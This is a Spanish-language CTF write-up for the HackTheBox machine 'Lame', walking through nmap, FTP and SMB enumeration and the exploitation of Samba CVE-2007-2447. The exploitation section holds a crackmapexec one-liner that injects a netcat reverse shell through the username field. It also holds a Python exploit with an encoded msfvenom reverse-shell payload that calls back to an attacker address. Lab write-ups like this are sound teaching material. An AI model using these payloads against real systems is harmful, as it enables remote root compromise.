--- title: 'Lame Write Up [OSCP-Style]' disqus: HackTheBox --- Lame WRITE UP [OSCP-Style] === Hecho por @xlcc4096 y @CapitanJ4ck21 ## Indice [TOC] > Lame es una máquina de HackTheBox la cual tiene una un servicio Samba 3.0.20 instalado el cual es vulnerable a `CVE-2007-2447` y conseguimos acceso al usuario root aprovechandonos de esta a través de un exploit hecho por nosotros. ## Enumeración ### Escaneo de puertos Empezamos escaneando todo el rango de puertos TCP de la máquina. ```bash= nmap -p- --min-rate 5000 --open -Pn 10.10.10.3 ```` ``` Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-06 18:54 CET Nmap scan report for 10.10.10.3 Host is up (0.034s latency). Not shown: 65530 filtered ports Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3632/tcp open distccd ``` Recogemos los puertos abiertos y le hacemos un escaneo a estos mas a fondo a través de un escaneo de servicios y especificamos también que pase scripts de enumeración por defecto en cada puerto. ```bash= nmap -p 21,22,139,445 -sV -sC -oN scan/target -Pn 10.10.10.3 ``` ``` PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.15 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 2h30m38s, deviation: 3h32m08s, median: 37s | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: lame | NetBIOS computer name: | Domain name: hackthebox.gr | FQDN: lame.hackthebox.gr |_ System time: 2020-12-06T10:50:18-05:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) ``` ### Puerto FTP - 21 / TCP Como buena práctica es bueno probar de loguearnos con el usuario anonymous. Ya que a veces `nmap` no lo detecta. Nos logeamos como usuario Anonymous y vemos que no hay nada disponible en el servidor FTP. ```bash= ftp 10.10.10.3 ``` ``` Connected to 10.10.10.3. 220 (vsFTPd 2.3.4) Name (10.10.10.3:capi): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. 226 Directory send OK. ftp> binary 200 Switching to Binary mode. ftp> dir 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. 226 Directory send OK. ftp> pwd 257 "/" ftp> exit 221 Goodbye. ``` ### Puerto Samba - 139, 445 / TPC Lo siguiente que vamos a enumerar es el servicio SMB. Para enumerar este puerto, les comparto una pequeña lista para poder listar los directorios. ``` cme smb <ip> -u '' -p '' --shares smbmap -H <ip> nmap --script smb-enum-shares -p 139,445 <ip> echo exit | smbclient -L \\\\<ip> ``` Enumeramos con crackmapexec, y sacamos que la versión del Samba es 3.0.20. ```bash= cme smb 10.10.10.3 -u '' -p '' --shares ``` ```python= SMB 10.10.10.3 445 LAME [*] Unix (name:LAME) (domain:hackthebox.gr) (signing:False) (SMBv1:True) SMB 10.10.10.3 445 LAME [+] hackthebox.gr\: SMB 10.10.10.3 445 LAME [+] Enumerated shares SMB 10.10.10.3 445 LAME Share Permissions Remark SMB 10.10.10.3 445 LAME ----- ----------- ------ SMB 10.10.10.3 445 LAME print$ Printer Drivers SMB 10.10.10.3 445 LAME tmp READ,WRITE oh noes! SMB 10.10.10.3 445 LAME opt SMB 10.10.10.3 445 LAME IPC$ IPC Service (lame server (Samba 3.0.20-Debian)) SMB 10.10.10.3 445 LAME ADMIN$ IPC Service (lame server (Samba 3.0.20-Debian)) ``` Enumeramos el servicio con `smbmap` también y nos devuelve que la versión es la misma que habiamos recogido antes. ```bash= smbmap -H 10.10.10.3 -R ``` ``` [+] IP: 10.10.10.3:445 Name: 10.10.10.3 Disk Permissions Comment ---- ----------- ------- print$ NO ACCESS Printer Drivers tmp READ, WRITE oh noes! .\tmp\* dr--r--r-- 0 Sun Dec 6 20:23:59 2020 . dw--w--w-- 0 Sat Oct 31 08:33:57 2020 .. dw--w--w-- 0 Sun Dec 6 12:25:30 2020 orbit-makis dr--r--r-- 0 Sun Dec 6 07:15:21 2020 .ICE-unix dw--w--w-- 0 Sun Dec 6 07:15:54 2020 vmware-root dr--r--r-- 0 Sun Dec 6 07:15:48 2020 .X11-unix dw--w--w-- 0 Sun Dec 6 12:25:30 2020 gconfd-makis fr--r--r-- 0 Sun Dec 6 18:00:36 2020 vtrm fw--w--w-- 11 Sun Dec 6 07:15:48 2020 .X0-lock fw--w--w-- 0 Sun Dec 6 07:16:26 2020 5544.jsvc_up fw--w--w-- 1600 Sun Dec 6 07:15:19 2020 vgauthsvclog.txt.0 .\tmp\.X11-unix\* dr--r--r-- 0 Sun Dec 6 07:15:48 2020 . dr--r--r-- 0 Sun Dec 6 20:23:59 2020 .. fr--r--r-- 0 Sun Dec 6 07:15:48 2020 X0 opt NO ACCESS IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian)) ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian)) ``` ## Explotación Gracias a la anterior enumeración encontramos que es vulnerable a `CVE-2007-2447` asi que vamos a explotarlo de diferentes formas. ### Samba - CVE-2007-2447 La primera forma de la que vamos a explotar esta vulnerabilidad es con crackmapexec: ```bash= cme smb 10.10.10.3 -u '/=`nohup rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.15 53 >/tmp/f`' -p '' ``` De la segunda forma que vamos que explotar es creando un exploit para aprovecharnos de esta vulnerabilidad. Hemos subido el exploit a github para que podais utilizarlo. https://github.com/xlcc4096/exploit-CVE-2007-2447 ```python= #!/usr/bin/python3 # Usage: python3 exploit-CVE-2007-2447.py <HOST> <PORT> # Made by @xlcc @J4ck21 from smb.SMBConnection import SMBConnection import sys # msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.3 LPORT=31337 -f python buf = b"" buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x64" buf += b"\x78\x63\x78\x70\x79\x77\x3b\x20\x6e\x63\x20\x31\x30" buf += b"\x2e\x31\x30\x2e\x31\x34\x2e\x33\x20\x33\x31\x33\x33" buf += b"\x37\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x64\x78\x63\x78" buf += b"\x70\x79\x77\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68" buf += b"\x20\x3e\x2f\x74\x6d\x70\x2f\x64\x78\x63\x78\x70\x79" buf += b"\x77\x20\x32\x3e\x26\x31\x3b\x20\x72\x6d\x20\x2f\x74" buf += b"\x6d\x70\x2f\x64\x78\x63\x78\x70\x79\x77" server_ip=sys.argv[1] port=int(sys.argv[2]) user="/=`nohup " + buf.decode() + "`" password="" client_machine_name="" server_name="" domain_name="" conn = SMBConnection(user, password, client_machine_name, server_name, domain=domain_name, use_ntlm_v2=True, is_direct_tcp=True) conn.connect(server_ip,port) ``` https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ Ejecutamos el script de la siguiente manera: ```bash= python3 exploit-CVE-2007-2447.py 10.10.10.3 445 ``` Ponemos a la escucha el puerto 31337 con netcat: NOTA: Tu tendras que poner a la escucha el puerto que hayas especificado a la hora de generar el payload. ```bash= nc -lnvp 31337 listening on [any] 31337 ... ``` Ejecutamos el script y ya somos root :) ``` connect to [10.10.14.10] from (UNKNOWN) [10.10.10.3] 50277 id uid=0(root) gid=0(root) groups=0(root) wc -c /root/root.txt 33 /root/root.txt ```